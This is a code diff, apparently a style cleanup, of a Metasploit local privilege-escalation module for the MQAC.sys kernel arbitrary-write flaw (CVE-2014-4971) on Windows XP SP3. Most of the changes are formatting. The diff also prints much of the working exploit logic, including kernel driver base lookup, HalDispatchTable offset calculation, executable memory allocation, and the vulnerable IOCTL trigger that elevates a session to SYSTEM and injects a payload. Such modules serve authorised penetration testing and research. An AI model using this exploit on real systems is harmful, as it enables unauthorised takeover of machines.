@@ -14,62 +14,70 @@ class Metasploit3 < Msf::Exploit::Local
14
14
15
15
INVALID_HANDLE_VALUE = 0xFFFFFFFF
16
16
17
- def initialize ( info = { } )
18
- super ( update_info ( info , {
17
+ def initialize ( info = { } )
18
+ super ( update_info ( info ,
19
19
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation' ,
20
- 'Description' => %q{
20
+ 'Description' => %q(
21
21
A vulnerability within the MQAC.sys module allows an attacker to
22
22
overwrite an arbitrary location in kernel memory.
23
23
24
24
This module will elevate itself to SYSTEM, then inject the payload
25
25
into another SYSTEM process.
26
- } ,
26
+ ) ,
27
27
'License' => MSF_LICENSE ,
28
28
'Author' =>
29
29
[
30
30
'Matt Bergin' , # original exploit and all the hard work
31
31
'Spencer McIntyre' # MSF module
32
32
] ,
33
- 'Arch' => [ ARCH_X86 ] ,
34
- 'Platform' => [ 'win' ] ,
35
- 'SessionTypes' => [ 'meterpreter' ] ,
33
+ 'Arch' => [ ARCH_X86 ] ,
34
+ 'Platform' => [ 'win' ] ,
35
+ 'SessionTypes' => [ 'meterpreter' ] ,
36
36
'DefaultOptions' =>
37
37
{
38
- 'EXITFUNC' => 'thread' ,
38
+ 'EXITFUNC' => 'thread'
39
39
} ,
40
40
'Targets' =>
41
41
[
42
- [ 'Windows XP SP3' ,
43
- {
44
- '_KPROCESS' => "\x44 " ,
45
- '_TOKEN' => "\xc8 " ,
46
- '_UPID' => "\x84 " ,
47
- '_APLINKS' => "\x88 "
48
- }
49
- ] ,
42
+ [ 'Windows XP SP3' ,
43
+ {
44
+ '_KPROCESS' => "\x44 " ,
45
+ '_TOKEN' => "\xc8 " ,
46
+ '_UPID' => "\x84 " ,
47
+ '_APLINKS' => "\x88 "
48
+ }
49
+ ]
50
50
] ,
51
- 'References' =>
51
+ 'References' =>
52
52
[
53
- [ ' CVE' , ' 2014-4971' ] ,
54
- [ ' EDB' , ' 34112' ] ,
55
- [ 'URL' , 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
53
+ %w( CVE 2014-4971 ) ,
54
+ %w( EDB 34112 ) ,
55
+ [ 'URL' , 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
56
56
] ,
57
- 'DisclosureDate' => 'Jul 22 2014' ,
58
- 'DefaultTarget' => 0
59
- } ) )
57
+ 'DisclosureDate' => 'Jul 22 2014' ,
58
+ 'DefaultTarget' => 0
59
+ ) )
60
60
end
61
61
62
62
def find_sys_base ( drvname )
63
- session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
64
- session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ 'PBLOB' , 'lpImageBase' , 'out' ] , [ 'DWORD' , 'cb' , 'in' ] , [ 'PDWORD' , 'lpcbNeeded' , 'out' ] ] )
65
- session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' , [ [ 'LPVOID' , 'ImageBase' , 'in' ] , [ 'PBLOB' , 'lpBaseName' , 'out' ] , [ 'DWORD' , 'nSize' , 'in' ] ] )
63
+ session . railgun . add_dll ( 'psapi' ) unless session . railgun . dlls . keys . include? ( 'psapi' )
64
+ lp_image_base = %w( PBLOB lpImageBase out )
65
+ cb = %w( DWORD cb in )
66
+ lpcb_needed = %w( PDWORD lpcbNeeded out )
67
+ session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' ,
68
+ [ lp_image_base , cb , lpcb_needed ] )
69
+ image_base = %w( LPVOID ImageBase in )
70
+ lp_base_name = %w( PBLOB lpBaseName out )
71
+ n_size = %w( DWORD nSize in )
72
+ session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' ,
73
+ [ image_base , lp_base_name , n_size ] )
66
74
results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
67
75
addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( 'L*' )
68
76
69
77
addresses . each do |address |
70
78
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
71
79
current_drvname = results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
72
- if drvname == nil
80
+ if drvname . nil?
73
81
if current_drvname . downcase . include? ( 'krnl' )
74
82
return [ address , current_drvname ]
75
83
end
@@ -99,12 +107,14 @@ def get_system_proc
99
107
end
100
108
101
109
def open_device
102
- handle = session . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ MQAC" , 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , nil , 'OPEN_EXISTING' , 0 , nil )
103
- if handle [ 'return' ] == 0
110
+ handle = session . railgun . kernel32 . CreateFileA ( '\\\\.\\MQAC' ,
111
+ 'FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , nil , 'OPEN_EXISTING' , 0 , nil )
112
+ handle = handle [ 'return' ]
113
+ if handle == 0
104
114
print_error ( 'Failed to open the \\\\.\\MQAC device' )
105
115
return nil
106
116
end
107
- handle = handle [ 'return' ]
117
+ handle
108
118
end
109
119
110
120
def check
@@ -141,8 +151,8 @@ def exploit
141
151
return
142
152
end
143
153
144
- # Running on Windows XP versions that aren't listed in the supported list results
145
- # in a BSOD and so we should not let that happen.
154
+ # Running on Windows XP versions that aren't listed in the supported list
155
+ # results in a BSOD and so we should not let that happen.
146
156
return unless check == Exploit ::CheckCode ::Appears
147
157
148
158
kernel_info = find_sys_base ( nil )
@@ -154,7 +164,10 @@ def exploit
154
164
155
165
this_proc = session . sys . process . open
156
166
unless this_proc . memory . writable? ( base_addr )
157
- session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( 'L' ) , nil , [ 0xffff ] . pack ( 'L' ) , 'MEM_COMMIT|MEM_RESERVE' , 'PAGE_EXECUTE_READWRITE' )
167
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( 'L' ) , nil ,
168
+ [ 0xffff ] . pack ( 'L' ) ,
169
+ 'MEM_COMMIT|MEM_RESERVE' ,
170
+ 'PAGE_EXECUTE_READWRITE' )
158
171
end
159
172
unless this_proc . memory . writable? ( base_addr )
160
173
print_error ( 'Failed to properly allocate memory' )
@@ -164,7 +177,8 @@ def exploit
164
177
165
178
hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
166
179
hKernel = hKernel [ 'return' ]
167
- halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , 'HalDispatchTable' )
180
+ halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel ,
181
+ 'HalDispatchTable' )
168
182
halDispatchTable = halDispatchTable [ 'return' ]
169
183
halDispatchTable -= hKernel
170
184
halDispatchTable += kernel_info [ 0 ]
@@ -193,8 +207,10 @@ def exploit
193
207
this_proc . close
194
208
195
209
print_status ( 'Triggering vulnerable IOCTL' )
196
- session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f , 1 , 0x258 , halDispatchTable + 0x4 , 0 )
197
- result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
210
+ session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f ,
211
+ 1 , 0x258 ,
212
+ halDispatchTable + 0x4 , 0 )
213
+ session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
198
214
199
215
unless is_system?
200
216
print_error ( 'Exploit failed' )
@@ -207,5 +223,4 @@ def exploit
207
223
fail_with ( Failure ::Unknown , 'Error while executing the payload' )
208
224
end
209
225
end
210
-
211
226
end
0 commit comments